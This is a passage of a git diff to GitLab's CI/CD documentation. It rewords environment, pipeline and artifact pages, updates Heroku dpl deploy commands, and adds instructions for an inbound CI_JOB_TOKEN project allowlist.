spec takes precedence over `review/*` and `*` specs. ### Rename an environment -> Renaming environments through the UI was [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68550) in GitLab 14.3. Renaming environments through the API was deprecated and [will be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/338897) in GitLab 15.0. +> Renaming environments through the UI was [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68550) in GitLab 14.3. Renaming environments through the API was deprecated and [is planned to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/338897) in GitLab 15.0. Renaming an environment through the UI is not possible. Instead, you need to delete the old environment and create a new one: @@ -1124,7 +1142,7 @@ To fix this, use one of the following solutions: Starting from GitLab 14.5, GitLab [deletes old deployment refs](#archive-old-deployments) to keep your Git repository performant. -If you have to restore archived Git-refs, please ask an administrator of your self-managed GitLab instance +If you have to restore archived Git-refs, ask an administrator of your self-managed GitLab instance to execute the following command on Rails console: ```ruby diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index b72ee9b388f..fc49be798ec 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -26,7 +26,7 @@ Maintainer role. Prerequisites: -- When granting the **Allowed to deploy** permission to a group or subgroup, the user configuring the protected environment must be a **direct member** of the group or subgroup to be added. Otherwise, the group or subgroup will not show up in the dropdown list. For more information see [issue #345140](https://gitlab.com/gitlab-org/gitlab/-/issues/345140). +- When granting the **Allowed to deploy** permission to a group or subgroup, the user configuring the protected environment must be a **direct member** of the group or subgroup to be added. Otherwise, the group or subgroup does not show up in the dropdown list. For more information see [issue #345140](https://gitlab.com/gitlab-org/gitlab/-/issues/345140). To protect an environment: @@ -125,7 +125,7 @@ If the user also has push or merge access to the branch deployed on production, they have the following privileges: - [Stop an environment](index.md#stop-an-environment). -- [Delete a stopped environment](index.md#delete-a-stopped-environment). +- [Delete an environment](index.md#delete-an-environment). - [Create an environment terminal](index.md#web-terminals-deprecated). ## Deployment-only access to protected environments @@ -261,6 +261,6 @@ Protected environments can also be used to require manual approvals before deplo ### Reporter can't run a trigger job that deploys to a protected environment in downstream pipeline -A user who has [deployment-only access to protected environments](#deployment-only-access-to-protected-environments) might **not** be able to run a job if it's with a [`trigger`](../yaml/index.md#trigger) keyword. This is because the job is missing the [`environment`](../yaml/index.md#environment) keyword definition to associate the job with the protected environment, therefore the job is recognized as a normal job that uses [regular CI/CD permission model](../../user/permissions.md#gitlab-cicd-permissions). +A user who has [deployment-only access to protected environments](#deployment-only-access-to-protected-environments) might **not** be able to run a job if it's with a [`trigger`](../yaml/index.md#trigger) keyword. This is because the job is missing the [`environment`](../yaml/index.md#environment) keyword definition to associate the job with the protected environment, therefore the job is recognized as a standard job that uses [regular CI/CD permission model](../../user/permissions.md#gitlab-cicd-permissions). -Please see [this issue](https://gitlab.com/groups/gitlab-org/-/epics/8483) for more information about supporting `environment` keyword with `trigger` keyword. +See [this issue](https://gitlab.com/groups/gitlab-org/-/epics/8483) for more information about supporting `environment` keyword with `trigger` keyword. diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md index 125ae3650c9..7bb14c4c900 100644 --- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md +++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md @@ -13,7 +13,7 @@ NOTE: [GitLab Premium](https://about.gitlab.com/pricing/) supports read access to a HashiCorp Vault, and enables you to [use Vault secrets in a CI job](../../secrets/index.md#use-vault-secrets-in-a-ci-job). -To learn more, read [Using external secrets in CI](../../secrets/index.md). +For more information, see [Using external secrets in CI](../../secrets/index.md). ## Requirements diff --git a/doc/ci/examples/deployment/index.md b/doc/ci/examples/deployment/index.md index 7a20bfc2e0a..67b4ec6b279 100644 --- a/doc/ci/examples/deployment/index.md +++ b/doc/ci/examples/deployment/index.md @@ -46,7 +46,7 @@ staging: stage: deploy script: - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY + - dpl heroku api --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY environment: staging ``` @@ -68,7 +68,7 @@ staging: - apt-get update -yq - apt-get install -y ruby-dev - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY + - dpl heroku api --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY only: - main environment: staging @@ -92,7 +92,7 @@ staging: stage: deploy script: - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY + - dpl heroku api --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY only: - main environment: staging @@ -101,7 +101,7 @@ production: stage: deploy script: - gem install dpl - - dpl --provider=heroku --app=my-app-production --api_key=$HEROKU_PRODUCTION_API_KEY + - dpl heroku api --app=my-app-production --api_key=$HEROKU_PRODUCTION_API_KEY only: - tags environment: production diff --git a/doc/ci/examples/index.md b/doc/ci/examples/index.md index c8ad653e41f..6738c55b6fa 100644 --- a/doc/ci/examples/index.md +++ b/doc/ci/examples/index.md @@ -111,7 +111,7 @@ that contains examples and templates specific to your organization. ## Other resources This section provides further resources to help you get familiar with various uses of GitLab CI/CD. -Note that older articles and videos may not reflect the state of the latest GitLab release. +Older articles and videos may not reflect the state of the latest GitLab release. ### CI/CD in the cloud diff --git a/doc/ci/examples/semantic-release.md b/doc/ci/examples/semantic-release.md index 1fa526e787a..9f299448d52 100644 --- a/doc/ci/examples/semantic-release.md +++ b/doc/ci/examples/semantic-release.md @@ -35,7 +35,7 @@ You can also view or fork the complete [example source](https://gitlab.com/gitla } ``` -1. Update the `files` key with glob patterns that selects all files that should be included in the published module. More information about `files` can be found [in npm's documentation](https://docs.npmjs.com/cli/v6/configuring-npm/package-json/#files). +1. Update the `files` key with glob patterns that selects all files that should be included in the published module. More information about `files` can be found [in the npm documentation](https://docs.npmjs.com/cli/v6/configuring-npm/package-json/#files). 1. Add a `.gitignore` file to the project to avoid committing `node_modules`: @@ -90,7 +90,7 @@ As part of publishing a package, semantic-release increases the version number i <!-- markdownlint-disable MD044 --> -1. On the top bar, on the top right, select your avatar. +1. On the top bar, in the upper right, select your avatar. 1. On the left sidebar, select **Access Tokens**. 1. In the **Token name** box, enter a token name. 1. Under **select scopes**, select the **api** checkbox. diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index 0f206b3fceb..07ba3d8f916 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -67,7 +67,7 @@ To make submodules work correctly in CI/CD jobs: GIT_SUBMODULE_DEPTH: 1 ``` -1. You can filter or exclude specific submodules to control which submodules will be synced using +1. You can filter or exclude specific submodules to control which submodules are synchronized using [`GIT_SUBMODULE_PATHS`](runners/configure_runners.md#sync-or-exclude-specific-submodules-from-ci-jobs). ```yaml diff --git a/doc/ci/index.md b/doc/ci/index.md index 63db23f8c48..ea48a5e461d 100644 --- a/doc/ci/index.md +++ b/doc/ci/index.md @@ -129,8 +129,6 @@ See also: ## Related topics -Learn more about GitLab CI/CD: - - [Why you might choose GitLab CI/CD](https://about.gitlab.com/blog/2016/10/17/gitlab-ci-oohlala/). - [Reasons you might migrate from another platform](https://about.gitlab.com/blog/2016/07/22/building-our-web-app-on-gitlab-ci/). - [Five teams that made the switch to GitLab CI/CD](https://about.gitlab.com/blog/2019/04/25/5-teams-that-made-the-switch-to-gitlab-ci-cd/). diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index 44c081b9d7f..c7fb94535ff 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -54,7 +54,7 @@ Not all executors are NOTE: The `docker` executor does not keep running after the build script is finished. At that point, the terminal automatically -disconnects and does not wait for the user to finish. Please follow +disconnects and does not wait for the user to finish. Follow [this issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3605) for updates on improving this behavior. @@ -66,7 +66,7 @@ for the current job.  When selected, a new tab opens to the terminal page where you can access -the terminal and type commands like a normal shell. +the terminal and type commands like in a standard shell.  diff --git a/doc/ci/jobs/ci_job_token.md b/doc/ci/jobs/ci_job_token.md index 4ae4456c56c..d9cfbdf124e 100644 --- a/doc/ci/jobs/ci_job_token.md +++ b/doc/ci/jobs/ci_job_token.md @@ -61,26 +61,96 @@ your [runners](../runners/index.md) to be secure. Avoid: If you have an insecure GitLab Runner configuration, you increase the risk that someone tries to steal tokens from other jobs. -## Limit GitLab CI/CD job token access +## Configure CI/CD job token access -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328553) in GitLab 14.1. [Deployed behind the `:ci_scoped_job_token` feature flag](../../user/feature_flags.md), disabled by default. -> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/332272) in GitLab 14.4. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/332272) in GitLab 14.6. - -You can limit the access scope of a project's CI/CD job token to increase the +You can control what projects a CI/CD job token can access to increase the job token's security. A job token might give extra permissions that aren't necessary to access specific private resources. -If a job token is leaked it could potentially be used to access data that is private + +If a job token is leaked, it could potentially be used to access private data to the job token's user. By limiting the job token access scope, private data cannot be accessed unless projects are explicitly authorized. -Control the job token access scope with an allowlist of other projects authorized -to be accessed by authenticating with the current project's job token. By default -the token scope only allows access to the same project where the token comes from. +There is a proposal to add more strategic control of the access permissions, +see [epic 3559](https://gitlab.com/groups/gitlab-org/-/epics/3559). + +### Allow access to your project with a job token + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/346298/) in GitLab 15.9. [Deployed behind the `:inbound_ci_scoped_job_token` feature flag](../../user/feature_flags.md), enabled by default. + +Control your project's job token scope by creating an **inbound** allowlist of projects which can +access your project through its `CI_JOB_TOKEN`. + +For example, you can add project `B` to the inbound allowlist for project `A`. Jobs +in the pipeline for "allowed project" `B` can now use the CI/CD job token to authenticate +API calls to access project `A`. + +By default the allowlist includes your current project. + +It is a security risk to disable this feature, so project maintainers or owners should +keep this setting enabled at all times. Add projects to the allowlist only when cross-project +access is needed. + +### Disable the inbound job token scope allowlist + +WARNING: +It is a security risk to disable the allowlist. A malicious user could try to compromise +a pipeline created in an unauthorized project. If the pipeline was created by one of +your maintainers, the job token could be used in an attempt to access your project. + +You can disable the inbound job token scope allowlist for testing or a similar reason, +but you should enable it again as soon as possible. + +Prerequisite: + +- You must have at least the Maintainer role for the project. + +To disable the inbound job token scope allowlist: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Token Access**. +1. Toggle **Allow access to this project with a CI_JOB_TOKEN** to disabled. + Enabled by default in new projects. + +### Add a project to the inbound job token scope allowlist + +You can add projects to the inbound allowlist for a project. Projects added to the allowlist +can make API calls from running pipelines by using the CI/CD job token. + +Prerequisite: + +- You must have at least the Maintainer role in the current project and at least + the Guest role in the allowed project. +- You must not have more than 100 projects added to the allowlist. + +To add a project: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Token Access**. +1. Verify **Allow access to this project with a CI_JOB_TOKEN** is enabled. +1. Under **Allow CI job tokens from the following projects to access this project**, + add projects to the allowlist. + +### Limit your project's job token access + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328553) in GitLab 14.1. [Deployed behind the `:ci_scoped_job_token` feature flag](../../user/feature_flags.md), disabled by default. +> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/332272) in GitLab 14.4. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/332272) in GitLab 14.6. + +NOTE: +This feature is disabled by default for all new projects and is [scheduled for removal](https://gitlab.com/gitlab-org/gitlab/-/issues/383084) +in GitLab 16.0. Project maintainers or owners should enable the **inbound** access control instead. + +Control your project's job token scope by creating an **outbound** allowlist of projects which +can be accessed by your project's job token. + +By default, the allowlist includes your current project. Other projects can be added and removed by maintainers with access to both projects. -This setting is disabled by default for all new projects. It is recommended that project maintainers or owners enable this -setting at all times, and configure the allowlist for cross-project access if needed. +With the setting disabled, all projects are considered in the allowlist and the job token is +limited only by the user's access permissions. For example, when the setting is enabled, jobs in a pipeline in project `A` have a `CI_JOB_TOKEN` scope limited to project `A`. If the job needs to use the token @@ -88,7 +158,13 @@ to make an API request to a private project `B`, then `B` must be added to the a If project `B` is public or internal, it's not required to be added to the allowlist. The job token scope is only for controlling access to private projects. -### Configure the job token scope limit +### Configure the outbound job token scope + +Prerequisite: + +- You must not have more than 100 projects added to the token's scope. + +To configure the outbound job token scope: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Settings > CI/CD**. @@ -97,9 +173,6 @@ The job token scope is only for controlling access to private projects. 1. Optional. Add existing projects to the token's access scope. The user adding a project must have the Maintainer role in both projects. -There is [a proposal](https://gitlab.com/groups/gitlab-org/-/epics/3559) to improve -the feature with more strategic control of the access permissions. - ## Download an artifact from a different pipeline **(PREMIUM)** > `CI_JOB_TOKEN` for artifacts download with the API was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2346) in GitLab 9.5. @@ -157,10 +230,10 @@ CI job token failures are usually shown as responses like `404 Not Found` or sim While troubleshooting CI/CD job token authentication issues, be aware that: -- When the [CI/CD job token limit](#limit-gitlab-cicd-job-token-access) is enabled, +- When the [CI/CD job token scopes](#configure-cicd-job-token-access) are enabled, and the job token is being used to access a different project: - The user that executes the job must be a member of the project that is being accessed. - The user must have the [permissions](../../user/permissions.md) to perform the action. - - The target project must be [allowlisted for the job token scope limit](#configure-the-job-token-scope-limit). + - The accessed project must have the project attempting to access it [added to the inbound allowlist](#add-a-project-to-the-inbound-job-token-scope-allowlist). - The CI job token becomes invalid if the job is no longer running, has been erased, or if the project is in the process of being deleted. diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index 753a755cbf3..5e69ecff7b8 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -40,7 +40,8 @@ When you access a pipeline, you can see the related jobs for that pipeline. Selecting an individual job shows you its job log, and allows you to: - Cancel the job. -- Retry the job. +- Retry the job, if it failed. +- Run the job again, if it passed. - Erase the job log. ### View all jobs in a project @@ -271,9 +272,11 @@ the pipeline view, *not* the play (**{play}**) button. Define CI/CD variables here when you want to alter the execution of a job that uses [CI/CD variables](../variables/index.md). -Add a variable name (key) and value to [override the value](../variables/index.md#override-a-defined-cicd-variable) -defined in the UI or `.gitlab-ci.yml` -for a single run of the manual job. + +If you add a variable that is already defined in the CI/CD settings or `.gitlab-ci.yml` file, +the [variable is overridden](../variables/index.md#override-a-defined-cicd-variable) with the new value. +Any variables overridden by using this process are [expanded](../variables/index.md#prevent-cicd-variable-expansion) +and not [masked](../variables/index.md#mask-a-cicd-variable).  @@ -336,7 +339,7 @@ In the example above: - `date +%s`: The Unix timestamp (for example `1560896352`). - `my_first_section`: The name given to the section. - `\r\e[0K`: Prevents the section markers from displaying in the rendered (colored) - job log, but they are displayed in the raw job log. To see them, in the top right + job log, but they are displayed in the raw job log. To see them, in the upper right of the job log, select **{doc-text}** (**Show complete raw**). - `\r`: carriage return. - `\e[0K`: clear line ANSI escape code. diff --git a/doc/ci/lint.md b/doc/ci/lint.md index c297cab1822..74e0f0cd5ef 100644 --- a/doc/ci/lint.md +++ b/doc/ci/lint.md @@ -26,7 +26,7 @@ To check CI/CD configuration with the CI lint tool: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **CI/CD > Pipelines**. -1. In the top right, select **CI lint**. +1. In the upper right, select **CI lint**. 1. Paste a copy of the CI/CD configuration you want to check into the text box. 1. Select **Validate**. @@ -47,7 +47,7 @@ To simulate a pipeline: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **CI/CD > Pipelines**. -1. In the top right, select **CI lint**. +1. In the upper right, select **CI lint**. 1. Paste a copy of the CI/CD configuration you want to check into the text box. 1. Select **Simulate pipeline creation for the default branch**. 1. Select **Validate**. diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index 63e9993be90..71deaadf9ec 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -99,7 +99,7 @@ Some high level differences between the products worth mentioning are: feature. - The [`parallel`](../yaml/index.md#parallel) keyword can automatically parallelize tasks, like tests that support parallelization. -- Normally all jobs in a single stage run in parallel, and all stages run in sequence. +- Usually all jobs in a single stage run in parallel, and all stages run in sequence. Different [pipeline architectures](../pipelines/pipeline_architectures.md) allow you to change this behavior. - The new [`rules` syntax](../yaml/index.md#rules) is the recommended method of controlling when different jobs run. It is more powerful than the `only/except` syntax. diff --git a/doc/ci/pipeline_editor/index.md b/doc/ci/pipeline_editor/index.md index c4416d41ab4..727977b3bc8 100644 --- a/doc/ci/pipeline_editor/index.md +++ b/doc/ci/pipeline_editor/index.md @@ -70,7 +70,7 @@ simulations in the [CI Lint tool](../lint.md#simulate-a-pipeline). > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/357219) in GitLab 15.1. You can review configuration added with the [`include`](../yaml/index.md#include) -keyword in the pipeline editor. In the top right, select the file tree (**{file-tree}**) +keyword in the pipeline editor. In the upper right, select the file tree (**{file-tree}**) to see a list of all included configuration files. Selected files open in a new tab for review. diff --git a/doc/ci/pipelines/cicd_minutes.md b/doc/ci/pipelines/cicd_minutes.md index e69c510291d..4cbaa77b029 100644 --- a/doc/ci/pipelines/cicd_minutes.md +++ b/doc/ci/pipelines/cicd_minutes.md @@ -33,7 +33,7 @@ On self-managed GitLab instances: - Administrators can [assign more CI/CD minutes](#set-the-quota-of-cicd-minutes-for-a-specific-namespace) if a namespace uses all the CI/CD minutes in its monthly quota. -[Specific runners](../runners/runners_scope.md#specific-runners) are not subject to a quota of CI/CD minutes. +[Project runners](../runners/runners_scope.md#project-runners) are not subject to a quota of CI/CD minutes. ## Set the quota of CI/CD minutes for all namespaces @@ -111,7 +111,7 @@ subgroups, sorted in descending order of CI/CD minute usage. You can view the number of CI/CD minutes being used by a personal namespace: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Usage Quotas**. @@ -161,7 +161,7 @@ namespace. To purchase additional minutes for your personal namespace: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Usage Quotas**. 1. Select **Buy additional minutes**. GitLab redirects you to the Customers Portal. @@ -216,9 +216,9 @@ The cost factors on self-managed instances are: #### Cost factor for community contributions to GitLab projects -Community contributors can use up to 300,000 minutes on shared runners when contributing to open source projects +Community contributors can use up to 300,000 minutes on shared runners when contributing to open source projects maintained by GitLab. The maximum of 300,000 minutes would only be possible if contributing exclusively to projects [part of the GitLab product](https://about.gitlab.com/handbook/engineering/metrics/#projects-that-are-part-of-the-product). The total number of minutes available on shared runners -is reduced by the CI/CD minutes used by pipelines from other projects. +is reduced by the CI/CD minutes used by pipelines from other projects. The 300,000 minutes applies to all SaaS tiers, and the cost factor calculation is: - `Monthly minute quota / 300,000 job duration minutes = Cost factor` @@ -288,7 +288,7 @@ processing new jobs. The grace period for running jobs is `1,000` CI/CD minutes. -Jobs on specific runners are not affected by the quota of CI/CD minutes. +Jobs on project runners are not affected by the quota of CI/CD minutes. ### GitLab SaaS usage notifications diff --git a/doc/ci/pipelines/downstream_pipelines.md b/doc/ci/pipelines/downstream_pipelines.md index 1ada4c4fac1..e4560cd882d 100644 --- a/doc/ci/pipelines/downstream_pipelines.md +++ b/doc/ci/pipelines/downstream_pipelines.md @@ -68,8 +68,8 @@ Multi-project pipelines: - Are visible in the downstream project's pipeline list. - Are independent, so there are no nesting limits. -Learn more in the "Cross-project Pipeline Triggering and Visualization" demo at -[GitLab@learn](https://about.gitlab.com/learn/), in the Continuous Integration section. +For more information, see the **Cross-project Pipeline Triggering and Visualization** demo at +[GitLab@learn](https://about.gitlab.com/learn/) in the **Continuous Integration** section. If you use a public project to trigger downstream pipelines in a private project, make sure there are no confidentiality problems. The upstream project's pipelines page @@ -473,6 +473,7 @@ a few different methods, based on where the variable is created or defined. ### Pass YAML-defined CI/CD variables You can use the `variables` keyword to pass CI/CD variables to a downstream pipeline. +These variables are "trigger variables" for [variable precedence](../variables/index.md#cicd-variable-precedence). For example: diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index 324a2fa3ef9..fa04cb6cb92 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -136,7 +136,7 @@ and [view your pipeline status](https://marketplace.visualstudio.com/items?itemN Pipelines can be manually executed, with predefined or manually-specified [variables](../variables/index.md). -You might do this if the results of a pipeline (for example, a code build) are required outside the normal +You might do this if the results of a pipeline (for example, a code build) are required outside the standard operation of the pipeline. To execute a pipeline manually: @@ -145,7 +145,7 @@ To execute a pipeline manually: 1. On the left sidebar, select **CI/CD > Pipelines**. 1. Select **Run pipeline**. 1. In the **Run for branch name or tag** field, select the branch or tag to run the pipeline for. -1. Enter any [environment variables](../variables/index.md) required for the pipeline to run. +1. Enter any [CI/CD variables](../variables/index.md) required for the pipeline to run. You can set specific variables to have their [values prefilled in the form](#prefill-variables-in-manual-pipelines). 1. Select **Run pipeline**. @@ -163,32 +163,34 @@ information such as what the variable is used for, and what the acceptable value Job-level variables cannot be pre-filled. In manually-triggered pipelines, the **Run pipeline** page displays all pipeline-level variables -with a `description` defined in the `.gitlab-ci.yml` file. The description displays +that have a `description` defined in the `.gitlab-ci.yml` file. The description displays below the variable. -You can change the prefilled value, which overrides the value for that single pipeline run. -If you do not define a `value` for the variable in the configuration file, the variable still displays, +You can change the prefilled value, which [overrides the value](../variables/index.md#override-a-defined-cicd-variable) for that single pipeline run. +Any variables overridden by using this process are [expanded](../variables/index.md#prevent-cicd-variable-expansion) +and not [masked](../variables/index.md#mask-a-cicd-variable). +If you do not define a `value` for the variable in the configuration file, the variable name is still listed, but the value field is blank. For example: ```yaml variables: - TEST_SUITE: - description: "The test suite that will run. Valid options are: 'default', 'short', 'full'." - value: "default" + DEPLOY_CREDENTIALS: + description: "The deployment credentials." DEPLOY_ENVIRONMENT: description: "Select the deployment target. Valid options are: 'canary', 'staging', 'production', or a stable branch of your choice." + value: "canary" ``` In this example: -- `TEST_SUITE` is pre-filled in the **Run pipeline** page with `default`, - and the message explains the other options. -- `DEPLOY_ENVIRONMENT` is listed in the **Run pipeline** page, but with no value set. +- `DEPLOY_CREDENTIALS` is listed in the **Run pipeline** page, but with no value set. The user is expected to define the value each time the pipeline is run manually. +- `DEPLOY_ENVIRONMENT` is pre-filled in the **Run pipeline** page with `canary` as the default value, + and the message explains the other options. -##### Configure a list of selectable values for a prefilled variable +#### Configure a list of selectable prefilled variable values > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/363660) in GitLab 15.5 [with a flag](../../administration/feature_flags.md) named `run_pipeline_graphql`. Disabled by default. > - The `options` keyword was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105502) in GitLab 15.7. @@ -425,7 +427,7 @@ You can group the jobs by: you visualize the entire pipeline, including all cross-project inter-dependencies. If a stage contains more than 100 jobs, only the first 100 jobs are listed in the -pipeline graph. The remaining jobs still run as normal. To see the jobs: +pipeline graph. The remaining jobs still run as usual. To see the jobs: - Select the pipeline, and the jobs are listed on the right side of the pipeline details page. - On the left sidebar, select **CI/CD > Jobs**. diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index bd788cfd3eb..75c9852d3d0 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -264,7 +264,7 @@ artifacts and log. You must be: To delete a job: 1. Go to a job's detail page. -1. On the top right of the job's log, select **Erase job log** (**{remove}**). +1. In the upper right of the job's log, select **Erase job log** (**{remove}**). 1. On the confirmation dialog, select **OK**. ## Expose job artifacts in the merge request UI @@ -385,6 +385,10 @@ a project, you can disable this behavior to save space: You can disable this behavior for all projects on a self-managed instance in the [instance's CI/CD settings](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). +When **Keep artifacts from most recent successful jobs** is enabled, artifacts are always kept for [blocked](../jobs/job_control.md#types-of-manual-jobs) +pipelines. These artifacts expire only after the blocking job is triggered and the pipeline completes. +For more information, see [issue 387087](https://gitlab.com/gitlab-org/gitlab/-/issues/387087). + ## Troubleshooting ### Job does not retrieve certain artifacts diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index 1e4d32fc331..e4a3416f60b 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -13,7 +13,7 @@ some of the important concepts related to them. You can structure your pipelines with different methods, each with their own advantages. These methods can be mixed and matched if needed: -- [Basic](#basic-pipelines): Good for straightforward projects where all the configuration is in one easy to find place. +- [Basic](#basic-pipelines): Good for straightforward projects where all the configuration is in one easy-to-find place. - [Directed Acyclic Graph](#directed-acyclic-graph-pipelines): Good for large, complex projects that need efficient execution. - [Parent-child pipelines](#parent-child-pipelines): Good for monorepos and projects with lots of independently defined components. diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md index 0952fdf1f8f..0795005aa8e 100644 --- a/doc/ci/pipelines/pipeline_efficiency.md +++ b/doc/ci/pipelines/pipeline_efficiency.md @@ -101,7 +101,7 @@ representation of pipeline health. Instance administrators have access to additional [performance metrics and self-monitoring](../../administration/monitoring/index.md). -You can fetch specific pipeline health metrics from the [API](../../api/index.md). +You can fetch specific pipeline health metrics from the [API](../../api/rest/index.md). External monitoring tools can poll the API and verify pipeline health or collect metrics for long term SLA analytics. @@ -254,7 +254,7 @@ Document CI/CD pipeline problems and incidents in issues, including research don and solutions found. This helps onboarding new team members, and also helps identify recurring problems with CI pipeline efficiency. -### Learn More +### Related topics - [CI Monitoring Webcast Slides](https://docs.google.com/presentation/d/1ONwIIzRB7GWX-WOSziIIv8fz1ngqv77HO1yVfRooOHM/edit?usp=sharing) - [GitLab.com Monitoring Handbook](https://about.gitlab.com/handbook/engineering/monitoring/) diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index cd696d816d7..3633863915c 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -311,149 +311,8 @@ lein cloverage | perl -pe 's/\e\[?.*?[\@-~]//g' ## Pipeline badges -Pipeline badges indicate the pipeline status and a test coverage value -for your project. These badges are determined by the latest successful pipeline. - -## Latest release badge - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33368) in GitLab 14.8. - -A latest release badge indicates the latest release tag name for your project. -By default, the badge fetches the release sorted using the [`released_at`](../../api/releases/index.md#create-a-release) time. -Support for [`semver`](https://semver.org/) sorting is tracked [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/352945). - -### View the code for the pipeline status, coverage reports, and latest release badges - -You can view the exact link for your badges. Then you can embed the badge in your HTML -or Markdown pages. - -1. On the top bar, select **Main menu > Projects** and find your project. -1. On the left sidebar, select **Settings > CI/CD**. -1. Expand **General pipelines**. -1. In the **Pipeline status**, **Coverage report**, or **Latest release** sections, view the URLs for the images. - - - -### Pipeline status badge - -Depending on the status of your pipeline, a badge can have the following values: - -- `pending` -- `running` -- `passed` -- `failed` -- `skipped` -- `manual` -- `canceled` -- `unknown` - -You can access a pipeline status badge image by using the following link: - -```plaintext -https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg -``` - -#### Display only non-skipped status - -To make the pipeline status badge display only the last non-skipped status, use the `?ignore_skipped=true` query parameter: - -```plaintext -https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg?ignore_skipped=true -``` - -### Test coverage report badge - -You can define the regular expression for the [coverage report](#merge-request-test-coverage-results) that each job log -is matched against. This means that each job in the pipeline can have the test coverage percentage value defined. - -To access the test coverage badge, use the following link: - -```plaintext -https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg -``` - -To get the coverage report from a specific job, add -the `job=coverage_job_name` parameter to the URL. For example, you can use code -similar to the following to add the test coverage report badge of the `coverage` job -to a Markdown file: - -```markdown - -``` - -#### Test coverage report badge colors and limits - -The default colors and limits for the badge are as follows: - -- 95 up to and including 100% - good (`#4c1`) -- 90 up to 95% - acceptable (`#a3c51c`) -- 75 up to 90% - medium (`#dfb317`) -- 0 up to 75% - low (`#e05d44`) -- no coverage - unknown (`#9f9f9f`) - -NOTE: -*Up to* means up to, but not including, the upper bound. - -You can overwrite the limits by using the following additional parameters ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28317) in GitLab 14.4): - -- `min_good` (default 95, can use any value between 3 and 100) -- `min_acceptable` (default 90, can use any value between 2 and min_good-1) -- `min_medium` (default 75, can use any value between 1 and min_acceptable-1) - -If an invalid boundary is set, GitLab automatically adjusts it to be valid. For example, -if `min_good` is set `80`, and `min_acceptable` is set to `85` (too high), GitLab automatically -sets `min_acceptable` to `79` (`min_good` - `1`). - -### Latest release badge - -When a release exists in your project, it shows the latest release tag name. If there is no release, -it shows `none`. - -You can access a latest release badge image by using the following link: - -```plaintext -https://gitlab.example.com/<namespace>/<project>/-/badges/release.svg -``` - -#### Sorting preferences - -By default, the latest release badge fetches the release using `release_at` time. The use of the query parameter `?order_by=release_at` is optional, and support for `?order_by=semver` is tracked [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/352945): - 